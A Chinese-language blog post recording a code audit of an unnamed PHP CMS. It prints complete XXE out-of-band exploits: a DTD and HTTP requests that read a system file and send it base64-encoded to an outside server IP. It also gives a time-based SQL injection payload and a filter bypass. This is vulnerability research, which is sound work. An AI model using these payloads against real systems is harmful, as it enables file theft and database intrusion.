某 CMS 的漏洞挖掘和分析

本文作者: Z1NG (信安之路 2019 年度优秀作者)

由于种种原因,又拿起了这套 CMS 的源码开始进行审计,代码是两周前下载的,结果现在好多洞的已经修补了(官方版本更新信息上并没有提示安全更新,有点坑)。稍微记录一下这次挖洞的过程吧。

第一处 XXE 漏洞

XXE 漏洞基础知识,网上很多。值得一提的是版本号,想要利用 XXE 需要注意 PHP 的版本号。。其实是 Libxml 的版本号要 小于等于 2.8.0 。这一点很重要。。复现的环境是使用 phpstudyphp5.4 版本。一开始使用 5.6 版本 死活不成功。。怪自己太蠢。。

全局搜索关键字 simplexml_load_string 就可以找到漏洞点。不难观察出 $postArr 值使用伪协议写入,是我们可控的,因此只要传入构造好的 XML 语句即可外带出数据。而这个漏洞点是不会回显获取到的信息,因此只能构造 OOB 进行数据外带。

这是一个很标准的 XXE 漏洞,使用基础操作就可以了。

在自己的 vps 上创建一个 oob_poc.dtd ,发送数据包如下:

#oob_poc.dtd的内容如下
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://115.159.35.88/?%file;'>">
%all;

#发送数据包如下
POST /gov/weixin/?echostr=&signature=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/gov/weixin/?echostr=&signature=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
Connection: close
Cookie: Hm_lvt_b60316de6009d5654de7312f772162be=1565139829; PHPSESSID=vfmd3i6ofu5r48g90bv71mm6n2
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://115.159.35.88/oob_poc.dtd">
%remote;
]>
<comment>
  <text>test&send;</text>
</comment>

可以看到自己的服务器上,日志里多了一条请求,即数据经过 base64 加密外带到服务器的记录。这里如果文件过大则会外带数据失败。。不知道是什么原因。。

SQL 注入漏洞

XML 本质是进行数据传输,在特定的情况下也许会产生不同的漏洞,比如说此处的 SQL 注入。这个 SQL 注入是挖掘上面 XXE 漏洞后才发现,可以说的上是买一送一了。

上文提到, $postArr 变量是由伪协议输入得来的,而该 CMS 全局是有对 GETPOST 参数进行过滤的,一但输入 单引号 等特殊字符,就会被拦截。也正因为是使用伪协议的方式写入参数,从而绕过了该检查机制。

image

只要我们控制了 $ToUserName 的值,即可造成一枚 SQL 注入。而 $TouUserName 是通过 XML 解析来的,显然我们可以控制这个解析的串。构造如下 payload

<xml>
<ToUserName>aa</ToUserName>
<FromUserName>bb' or 1=if(0,sleep(1),0) #</FromUserName>
<CreateTime>cc</CreateTime>
<MsgType>event</MsgType>
<Event>subscribe</Event>
<Content>ee</Content>
</xml>

MsgType、Event 等用来控制程序流程,FromUserName 是注入 SQL 语句的地方。对比如下两张图,不难看出如果条件为真,服务器则会延时一段时间,因此可以判断出存在 SQL 注入。

第二处 XXE 漏洞

这里的 XXE 漏洞也算是碰巧遇见的,主要是传参的方式变了,一开始没认出来。

image

咋一看 $GLOBALS['HTTP_RAW_POST_DATA'] 一个全局变量,以为是固定值。但是不甘心没找到新的 XXE 漏洞点,于是抱着试试的心态去百度了一下这个变量。看到如下图的信息,我就高兴了起来。也就是说这个变量传参的效果和伪协议传参的效果是一样的。

知识点传送门

php://input、$_POST与$GLOBALS['HTTP_RAW_POST_DATA']三者的区别 - zhuzhipeng - 博客园

也就是说,当 Content-Type 的值为 application/x-www.form-urlencoded 时,效果等效于 php://input 。那么事情就变得简单了。只要按照第一处 XXEpayload 构造一下就好了,唯一不同的地方在于 Cotent-Typed 的值要做修改。


POST /gov/api/notify.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/gov/api/notify.php
Content-Type: application/x-www.form-urlencoded
Content-Length: 168
Connection: close
Cookie: Hm_lvt_b60316de6009d5654de7312f772162be=1565139829; PHPSESSID=vfmd3i6ofu5r48g90bv71mm6n2
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://115.159.35.88/oob_poc.dtd">
%remote;
]>
<comment>
  <text>test&send;</text>
</comment>

最后

这套 CMS 审计下来明显的 SQL 注入,重装漏洞等问题挖到四五个点。这是第一次通过审计的方式挖掘到 XXE ,也算是圆满了一些。由于审计效率太慢,大部分洞都被大佬们挖走了(留下没有技术的眼泪.jpg),只好捡捡漏。

审计的时候一定要注意版本!!!不管是 CMS 的版本也好,还是环境的版本也好都会对复现产生一定的影响,可能浪费不必要的时间。再有就是审计代码耐心很重要,技巧方面就是善用全局搜索,定位变量。大概就是这样了。